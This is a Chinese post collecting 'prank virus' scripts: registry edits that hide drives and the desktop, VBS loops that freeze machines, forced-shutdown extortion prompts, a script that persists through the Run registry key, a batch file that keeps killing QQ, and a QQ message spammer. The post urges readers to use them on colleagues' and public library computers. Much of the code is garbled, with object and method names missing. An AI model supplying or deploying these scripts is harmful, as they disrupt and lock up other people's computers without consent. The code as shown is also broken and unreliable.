整人病毒代码

2023年11月26日发(作者：)

前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现

有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。

一、怎么点都没反应的桌面

如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。

把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）

建议大家用print截屏，设置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。

他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机

中…………

附带：print键截屏方法：

键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！

用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内

容。

用法二，先按住“Alt”键，再按 “Print Screen SysRq”键，则是对当前窗口进行

抓图。如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、

“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。

哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！

二、让电脑硬盘消失－隐藏磁盘方法

愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星

人抓走了？？非也！是某些人使坏将其隐藏起来了！

步骤

1.新建一个记事本

2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”

3.将下面的代码复制到记事本当中：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]

"NoDrives" =hex:08,00,00,00

解释

（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的

图中的D盘已经神秘消失了。

（2）A=01000000 B=02000000 C=04000000 D=08000000 E=10000000

F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000

原理介绍：二进制值 “NoDrives”的缺省值均是00,00,00,00，表示不隐藏任何驱动器。

键值由四个字节组成，每个字节的每一位(bit)对应从A:到Z:的一个盘，当相应位为1时，

“我的电脑”中相应的驱动器就被隐藏了。第一个字节代表从A到H的8个盘，即01为A，

02为B，04为C……依次类推，第二个字节代表I到P，第三个字节代表Q到X，第四个字

节代表Y和Z。比如要关闭C盘，将键值改为04,00,00,00;要关闭D盘，则改为 08,00,00,00，

若要关闭C盘和D盘，则改为0C,00,00,00(C是十六进制，转成十进制就是12)。

理解了原理后，下面以笔者的电脑为例说明如何操作：笔者的电脑有一个软驱、一个硬盘(5

个分区)、一个光驱，盘符分布是这样的：A:(3.5软盘)、 C:、D:、E:、F:、G:、H:(光盘)，

所以我的“NoDrives”值为“02 ff ff ff”，隐藏了B、I到Z盘。

还原方法

1.点击开始--运行，如图，在运行对话框中输入“regedit”，打开注册表编辑器。

2.依次打开

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]，

将右侧窗口中"NoDrives"这个子键删除。

3.重新启动电脑。

三、空空的桌面

电脑桌面是用户最熟悉不过的了，电脑整人方法电脑启动之后首先呈现的就是桌面了，如果

在愚人节你把你朋友的桌面给Hack掉了话，你的朋友是不是会发疯啊？

桌面是用户操作电脑首先进入的界面，电脑桌面空空如也，一望无垠的时候，你是否很

无奈？原来这一切都是它在作怪！

如图整人后桌面清清爽爽，什么都没有！

方法步骤

1. 新建一个记事本

2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“桌面.reg”

3.将下面的代码复制到记事本当中：

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]

"NoDesktop"=dword:00000001

"NoSetTaskbar"=dword:00000001

解释：(1)"NoDesktop"=dword:00000001 这个键值是屏蔽桌面的；

(2)"NoSetTaskbar"=dword:00000001这个键值是禁用“任务栏属性”功能。

将信息导入到注册表之后，桌面图标、桌面右键、桌面属性的功能都被禁用了。

还原方法：

1.点击开始--运行，如图，在运行对话框中输入“regedit”，打开注册表编辑器。

2依次打开

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer]，

将右侧窗口中“NoDesktop”、“NoSetTaskbar”这两个子键删除。

四、让天使替我说我爱你

CreateObject("e").Speak"i love you"

送给你女朋友她会高兴地，保存为.vbs格式

五、打开无数个计算器

set wsh=createobject("")

do

"calc"

loop

这段代码是打开无数个计算器，直到死机 ,也是保存为.vbs格式

六、你被耍了

while(1)

msgbox "哈哈 你被耍了！"

loop

这段代码就比较坏了,一直弹出窗口显示"哈哈,你被刷了!"要是你不会结束它,只好重启电

脑了,也是保存为.vbs格式

七、甩不掉的魔鬼

("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)

("你是可爱的小朋吗?")

("哈,我想你拉，这你都不知道吗？")

("怎么才来，说~是不是不关心我")

("哼,我生气拉，等你这么久，心都凉啦。")

("小强很生气，后果很严重哦。")

("嘿嘿！你也会很惨滴哦")

("是不是想清除我？")

("那你要点上50下哦，不过会给你惊喜滴")

("还剩49下，快点点哦")

("还剩48下，快点，小笨蛋！")

("还剩47下对，就这样快点点！")

("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

("还剩45下，记得要快哦！")

("还剩43下")

("还剩42下")

("还剩41下")

("还剩40下")

("还剩39下")

("还剩38下")

("还剩37下")

("还剩36下")

("还剩35下")

("还剩34下")

("还剩33下")

("还剩32下")

("还剩30下")

("还剩29下")

("还剩28下")

("还剩27下")

("还剩26下")

("还剩25下")

("还剩24下")

("还剩23下")

("还剩22下")

("还剩21下")

("还剩20下")

("还剩19下")

("还剩18下")

("还剩17下")

("还剩16下")

("还剩15下")

("还剩14下")

("还剩13下停停慢点，我有话要说")

("还剩12下，你继续点我就会消失滴")

("还剩11下，以后就看不到我拉。555555")

("还剩10下，你现在可以选择停止！")

("还剩9下。你还点啊，不要我拉？")

("还剩8下，有点伤心拉，干嘛丢弃人家")

("还剩7下。疯了，你有点负意！")

("还剩6下。对。你就点吧，我恨你！")

("还剩5下，不明白，删除我你就好吗？")

set WSHshellA =object("")

" /c shutdown -r-t 180 -c ""说我是猪，不说我是猪就一分钟关

机，不信，试下···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""

","说不说","",8000,7000)

msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell =object("")

" /c shutdown-a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

这个运行后必须输入我是猪(当然你也可以改成别的,把代码中所有的我是猪换成你想改的,

比如说我爱XXX之类的,大家懂的 ),如果一分钟没输入我是猪,就会关机.也改成.vbs

九、被鬼附身的记事本

dim sh,str,a,i

setsh=createobject("")

"notepad" '打开记事本

do while ivate("无标题 - 记事本")=false

1000

loop

str="wokao1!ni1youmeiyou1gaocuo1!"'这一行是演示中文输入。定义要打字的字符串。只

能是英文或数字或符号。

'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)

'并在str中输入按键的过程如：想输入“气死我了”就写 qisiwole1

ys "^ "

'解释上一行：呼唤中文输入法

for i=0 to len(str)-1

a=mid(str,i+1,1)

ys a '发送虚拟按键

500 '打字速度。数值越小越快。

next

save=1 '如想保存则写1

if save=1 then

ys "^ "

'解释上一行：关闭中文输入法。如果是中文，则必须去掉上一行的注释。

ys "^s"

300

ys "c:" '文件名(可写路径)，必须是英文。如果是中文模式，则必须

将其关闭

100

ys "{Enter}"

end if

这个会自动打开笔记本,自己写字,怎么样?是不是有贞子爬到你电脑里的感觉?也是保存

为.vbs格式

十、蓝屏代码

for each ps in getobject("winmgmts:.rootcimv2:win32_process").instances_

ifUcase()=Ucase("") then

ate

end if

next

for each ps ingetobject("winmgmts:.rootcimv2:win32_process").instances_

ifUcase()=Ucase("") then

ate

end if

next

if ivate("系统关机")=falsethen

"shutdown -s -f -t 30"

end if

loop

改成.vbs十一、电脑死机了

Setsh=CreateObject("")

dim i,s,z,thn

z=array(4,5,16,32,48,64)

i=0

s=1

do

do while i

i=i+1

fullname

loop

s=s+1

i=0

randomize

int(rnd()*100)

msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"

thn=fullname

te"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsyste

m23",thn

loop

胆子大的可以运行看看,嘿嘿,改成.vbs格式

cpu飙到100%，死机的。，强行关机都没反映，直接拔电源的，

之后重新打开电脑还是在继续开窗口，cao，一直到2000多的窗口，完全没办法动鼠标的，

你妹的，这是坑人，

十二、电脑死机

do

createobject("").fullname

loop

别小看这三行,你可以运行试试,让你五秒内死机，十秒内鼠标不能动！改成.vbs

十三、我是猪

setws=createobject("")

call shutdown(1)

do while a<>"我是猪"

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

"/********/infocenter"

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

" /c shutdown -r -t 60-c",0

case 2

" /c shutdown -a",0

end select

end sub

记得把********换成你的qq号，改成.vbs

十四、QQ不能运行

@echo off

if "%1" == "h" gotobegin

mshtavbscript:createobject("").run("%~nx0h",0)()&&exit

:begin

tasklist |find /i ""

if %errorlevel%==0 (goto killit) else (gotonext)

:killit

taskkill /f /im

:next

ping -n 3 127.t >nul 2>nul

goto begin

——————————分割线————————

把以上代码保存成txt格式，然后把后缀改成bat,然后双击运行

嘿嘿，那你的qq就不能运行了哟

十五、磁盘格式化

@ color 4f

@echo off

echo 删除计算机的C盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的D盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

echo.

echo 删除计算机的E盘的所有文件......

ping 127.0.0.1 /n 2 >nul

echo 已删除完毕

@ color

echo.

echo.=========================================

echo. 啊哈哈，都删关，都杀关，哈哈 ……

echo.=========================================

echo. 系统将马上崩溃......

echo. 这是一个木马程序......您的所有资料已经传到************

shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"

ntsd -c q -pn

ping 127.0.0.1 /n 20 >nul

start

shutdown -a

____________________________分割线______________________

将分割线以上部分保存到txt格式，然后把后缀改成bat就可以运行了

运行后你的磁盘会被格式化

当然

那是假的。。。用来吓人的。。。

希望你玩的愉快。。。

--------------------------------------------------------------------

十六、系统关机

不懂的人看一下，那直接关机来说，就是复制下面那个直接关机代码

dim WSHshell

set WSHshell =object("")

"shutdown -f -s -t00",0 ,true

然后保存，后缀改为VBS格式的，VBS是VB的脚本语言能直接通过DOS运行的。

十七、QQ骚扰信息

[replyview]一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的

xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

=>

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("")

for i=1 to 10

700

ivate("与 xx 聊天中")

ys "^v"

ys i

ys "%s"

next

----------------------------------------------------------------------------

QQ骚扰信息,也可以用在其它程序上。

十八、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

十九、不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell =object("")

while(1)

ys "%{F4}"

loop

二十、按500次回车

(以下代码在运行者的电脑上显示500个对话框。其中 dountil s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

二十一、我是猪

-------------------------------------------------------------------------------------------

setws=createobject("")

call shutdown(1)

do while a<>"我是猪"

a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪""","输不输","")

loop

call shutdown(2)

msgbox "早说就行了嘛",4096+64

msgbox"再输一遍我是猪!",4096+64

msgbox"我是猪!",4096+64

MsgBox"最后一次!",4096+64

MsgBox"如果你很快的点过去,不看的话",4096+64

MsgBox"我就要你踩我空间的!哼!",4096+64

MsgBox"从前有座山!",4096+64

MsgBox"山里有个庙.",4096+64

MsgBox"庙里有个老和尚在讲故事.",4096+64

"/765012057/infocenter"

msgbox"哎呀累了！数绵羊哄我睡觉",4096+64

for i=1 to 100

MsgBox i&"只绵羊",4096+64

next

msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64

msgbox"最后问个问题，我是不是大好人！",4096+64

if inputbox("是不是","请选择","是")<>"是" then

call shutdown(1)

end if

sub shutdown(s)

select case s

case 1

" /c shutdown -r -t 60-c",0

case 2

" /c shutdown -a",0

end select

end sub

--------------------------------------------------------------------------------

"/765012057/infocenter"

这段代码可以改成你自己设定的地址

如果别人不输我是猪的话就会一直点下去点到你设定的数字

for i=1 to 100

从1到100

可以改成 20 其他的数字

解除这个VBS脚本的办法就简单了只是关掉任务管理器里

这个进程就好了